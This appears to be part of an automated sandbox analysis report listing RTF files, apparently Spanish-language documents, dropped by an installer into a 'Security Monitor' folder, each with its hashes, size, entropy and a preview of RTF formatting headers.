Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36554
Entropy (8bit):	5.033242301326159
Encrypted:	false
SSDEEP:	768:w4FkNxjETicPI0QhhiLVUO9HZYSEWsIZ/6A9V:w4G3UntIA9V
MD5:	60CFC0AB1C3A23B456BDEB0DD8010A83
SHA1:	E2EB5D85ECC146BA756BB812247090D421D8F906
SHA-256:	FB9A493F603C0027F6782538022DA6D82577FC0CE69146E66076EF94440B7D18
SHA-512:	80ABA72B39079A7B4378C0B106CBB0098AE94BEAC586DC34BE10F5CE2D7F0193B20A215F0D98D08A709F934CB1AC05FCE6B15270D3E855F01BD9C814D95AA4AB
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	78220
Entropy (8bit):	4.998804403921912
Encrypted:	false
SSDEEP:	1536:w4NORVKcNG59+ppOBpvKeGpWONtetjIC1uCLCCiOBG/60Oc5IRcofyW26IA9w:w2GVFU59+/O3vKeO+5G
MD5:	284D049932C02AFE360E12F1ACBBEB89
SHA1:	F5D588FE773BF163D5FE123B38FCAF70AF53F786
SHA-256:	9AD1BA3EF54FEA19A88AAABBAF13DBD8C798DA68B989F4E321594E54A5DB2AF6
SHA-512:	AF4E3F43E6A258E8E45A2983A2DC1CE29190163B2DCDE25DC4AB3BFF4F1FC6E07E14BB4023FC5A7F7C008463BD1F8D7ADCB12D1FDAFD6503B41E94D2E98D74F8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-30VPI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	55781
Entropy (8bit):	4.974374262253835
Encrypted:	false
SSDEEP:	768:wqFkd4JQJHT2njX8x3TLjwUtqYepAkVZEdvI9DhL02GZLu5UZcHXqjHZCNVsMQgB:wqdThL0kIIA9Y
MD5:	0BF8EF2B17B829705BB1D37632503C1F
SHA1:	5E969D18969120A577205E785D8641CAD1037AA5
SHA-256:	665B118FF5A8EA42EC98EB73371D9F28DAA619617F014E4C6FB9F4281521D391
SHA-512:	6FA8B101F982EC8CB3987057591C90300C0C158A74D4DBCEFF179E994E9A560C5EF0F130314639B751B01501465B4D55C8DA68F95FF1F9E97174B3A8CF264AB3
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-3NGF2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	54358
Entropy (8bit):	5.030949914338969
Encrypted:	false
SSDEEP:	768:Vk13TxjelQcX09coHJreOYSN4UIRopZMggLBbWm6CgqMPYZtYJxewPO1nS3jcL9A:VkLjoVq4TC
MD5:	72F2281B43D886812D0AB9227F12438E
SHA1:	9FA51047B63B8C6771351030059CA120DB60FCDA
SHA-256:	A1D007010FAB6C2E57A687E45B26AC54BCCDCB91D4310C0BD7ECD0C478AFF63A
SHA-512:	78FF6C728C82E2790C1D43759EDC5ECF4A883B6034246E4CC40A4526254E7CCBC766225B51A6ED22AD3B6EC96A2411F47922549146C7D621C68F9C8BCBB22226
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-4HFAD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43947
Entropy (8bit):	5.053170962954844
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGUxQBkyKWm+m2NjrOX/zJwPzFZ6LUECxfxkSFgc/rcaVbnq4Tf:VklRPc4Tf
MD5:	874129F2A6DD7287BADBF2EBD223923F
SHA1:	A6D84C0AE81F13DE1C8952A8EA3602DC54B99C2E
SHA-256:	C824F8E324B7B859ADCCA1F38437CEE6AA19ECF8FB5C8723C6347DCEA2206128
SHA-512:	236A143EC7C0E1151CAE3B0399884E7498327B2F9E4C03FA65DCDCD9628CEE9BE6DEEC5A7B5312E8CB8B016C4B5BDAADDAEDD49E20F7D75F71AD63D49F85EDA2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-4VNHB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	42355
Entropy (8bit):	5.0527900529716705
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmV4JAF/WMvgDNHkAwd6Lkygbq4TF:VklnIV4J34TF
MD5:	6E4790A124B7FF2124F2D64A1F5935AE
SHA1:	809C008765ADDE1CFF719DF84F5D1A6972C9D15A
SHA-256:	7BC836689CF9FF9CF09F7E58AF04356C29C44CD67256FF828873AFAE1D9AD78A
SHA-512:	9DA4AFC8A0E1A92A33ED8D33C8C3E6162DC0FCED24BF9A65A69ED92380B10E5B639E6809067E1D8A7F2BCD7300A809CFBA07693AF9A6B425CCDA76CAC53AB38C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-64G2E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	45797
Entropy (8bit):	5.048112106920449
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmms0Fzyf/8Ze52zxn1yIATqQfIUj1gCK/:VklnIsM4T4
MD5:	B282950E706D40B97814A1BE2F1513FE
SHA1:	82318E2310302B88264AF88800CB5A6762446C20
SHA-256:	C93DEB9DF3F1878F380EC3C9348E22E07A5A38CC005D180FFAE3EF7C663BA567
SHA-512:	0A5128EE9895BDB59F247B49B105E990675E27A9F93F006E88500CEBE5084722DD4D1CC74CDC31AC65AAAE0962D4FA2F1EDB96C26AA4CBE733054B35D047C49B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-84S39.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43957
Entropy (8bit):	5.05318714443273
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmqAFbMmzigeIgpwgM/tI1m3AG8bq4Tn:VklnIqk4Tn
MD5:	C802BE58C5B4EEE36B30EAE58603CBE5
SHA1:	3F245C80D14B4051CDE661FE373FB7C57020019A
SHA-256:	6D1E5226FE921E8E23C48A0F7C4FC06B815BB0D777C2DE20D6E4EB2A53100023
SHA-512:	402EBEFF45912562F8248CA7018BEEDE532E91F54839AA5AE556590D6F9D9D786E39E9776808C30F050CDC22BEB595A715DF8A2603ED1AF675A2B07665B249FB
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-AJ2I6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42973
Entropy (8bit):	5.043020142659255
Encrypted:	false
SSDEEP:	768:wqFkwxjeVGh+DoLLXI1nhDGi3w2EHlT2njX8x3DkF8zHtrWM+cimZ/6A9r:wqR3tIA9r
MD5:	286021A4AA9BD225FA7A87089380213E
SHA1:	DA805EA3171A5FFF8357CD89F798D576D0B27E70
SHA-256:	C447B4CA501DAB11FCDFF381BABF34C63BE48B0DADBC538D2C5F1CD07F4D7BCF
SHA-512:	F4A21476EE1870D47162C29625D966D37C16B3F40EE30F54E68A8F81BAC74DEE3FD5C7489DC5F883745DB98E7BCB69B80DB00A664A3330FB0AB1DEF3AA9F7F56
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-D55ON.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	41999
Entropy (8bit):	5.055697465978919
Encrypted:	false
SSDEEP:	768:VkmzS4JUAauTJcOerjj1oKauIKx49kWYcFBxBMdk+tkakaLMvIghQq4TP:Vku11S7u4TP
MD5:	38D9C60C2583CC6714A0F317F3FD24AD
SHA1:	06F40D2DD9A933E7073FD6B57475B879582B99D2
SHA-256:	4825CB084B4CBE44982E0B965CCE2025C23D43CC3DDB6B4389F811C07A5EE872
SHA-512:	C2397F026AF1AEFBE283F59D8188CB17C4BB43F6F228FFBF07A167DFC636D6D7504FC1BF69F53451C361FCD02646B9E96C2A6BE0FD3B12A58B9E42D8A729FB4D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \fswiss\fcharset0\fprq2 Arial CYR;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f3150

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-ELOCA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	38095
Entropy (8bit):	5.023434979525739
Encrypted:	false
SSDEEP:	384:qY6g3X45Y8qb7PzybdKkjYeQZBzyKIl6ZIi6rGsoUwEAG2DaGZ:qhg3feQZ5yKIl2U4Z
MD5:	BF8EAEFA279A7B4973C0AEA344342EEA
SHA1:	FC9B1F4747B94663D9BE6A446F8C186D981321F0
SHA-256:	05D8BABE44F84B4DD6022B8D236C2BF93917E8E38C14F3B700186B8C3C1209C0
SHA-512:	DDB4F723299CB3F50206830FD9809198923FAE710CE314A22558C26D235B85E1BAC6562C8A17C723857734DB0432158FC22450FE43AB3A0FFF5704D8CA885175
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang3082\deflangfe3082\themelang3082\themelangfe0\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fh

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-F1C0A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	37942
Entropy (8bit):	5.034259997396652
Encrypted:	false
SSDEEP:	768:VkGN4Jt0TaGC5X2kLuuXprzghApkH9bEJzKv3TFeq4T5:VkHwd4T5
MD5:	A4F051708B7CC7EC3B58CB0A01A56DAA
SHA1:	4C4D011C0EFC5497763698DD21BE21D61553EE51
SHA-256:	E5AC50A87DD55807C9FC5BDF12C6317581F50456A9D99EF92794F5C089748F6E
SHA-512:	EFEF770ED92BB6F5D76AB7613ADF47ADF264CBBBFB741D7514A9424D77055CA01DCD1462DAFA2A8CF9E9FAF36931F78865430FE62F30DC77A9F18E0A28C8EC37
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-I60JV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	68966
Entropy (8bit):	4.980232511599592
Encrypted:	false
SSDEEP:	768:wqFy4FxrUJHT2njX8x3TLjwUtqYepAkVZEdvI9vTkdr9oY7sad4m11F8yO61x3fj:wqJ7RTkdtIA9J
MD5:	84C18085AA83A3983748A25518050BF5
SHA1:	92861E7CC4A6C458188EE78856C6D542EC279BD8
SHA-256:	BB5C8F79F380A101456F8C6157E9999F906CE697B357789DB415B5182D4BBA21
SHA-512:	A8477B72B61D832DB1C72074E70E6A3752F67C21A9B6DB02261CD155AD583806DFA866A4533DB2FFDE9D2B978C4972E3B4FA0BC06AC2E91F4F207C8468653A3B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Tim

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-ISN8T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	45050
Entropy (8bit):	5.040256574487364
Encrypted:	false
SSDEEP:	768:VkGN4JtHiBkyKWm+m2NjrOX/zJnKujtCUcFsWjeQ2CzLZ7RntKuG5QZ2y3OE50sq:VkNk4TF
MD5:	94F6C834BB72118F52C6E4AFA65342BF
SHA1:	5066CA137EA8AE0F1CFDB50D364C0A85BF31B98D
